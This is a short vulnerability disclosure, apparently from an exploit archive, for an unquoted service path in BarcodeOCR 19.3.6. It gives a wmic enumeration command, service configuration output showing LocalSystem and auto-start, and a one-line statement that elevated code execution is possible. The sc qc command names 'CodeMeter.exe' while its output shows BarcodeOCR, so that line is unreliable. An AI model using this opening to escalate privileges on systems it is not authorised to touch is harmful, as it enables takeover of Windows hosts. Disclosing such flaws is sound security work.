BarcodeOCR 19.3.6 - 'BarcodeOCR' Unquoted Service Path

# Exploit Title: BarcodeOCR 19.3.6 - 'BarcodeOCR' Unquoted Service Path
# Discovery Date: 2020-07-31
# Response from BarcodeOCR Support: 08/03/2020
# Exploit Author: Daniel Bertoni
# Vendor Homepage: https://www.barcode-ocr.com/
# Version: 19.3.6
# Tested on: Windows Server 2016, Windows 10

# Find the Unquoted Service Path Vulnerability:

C:\wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

BarcodeOCR	Auto	BarcodeOCR	C:\Program Files (x86)\BarcodeOCR\Service.exe

# Service info:

C:\sc qc CodeMeter.exe
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: BarcodeOCR
        TIPO               	  : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO         	  : 2   AUTO_START
        CONTROLLO_ERRORE   	  : 1   NORMAL
        NOME_PERCORSO_BINARIO     : C:\Program Files (x86)\BarcodeOCR\Service.exe
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                	  : 0
        NOME_VISUALIZZATO         : BarcodeOCR
        DIPENDENZE       	  :
        SERVICE_START_NAME : LocalSystem


# Exploit:

A successful attempt to exploit this vulnerability could allow to execute code during startup or reboot with the elevated privileges.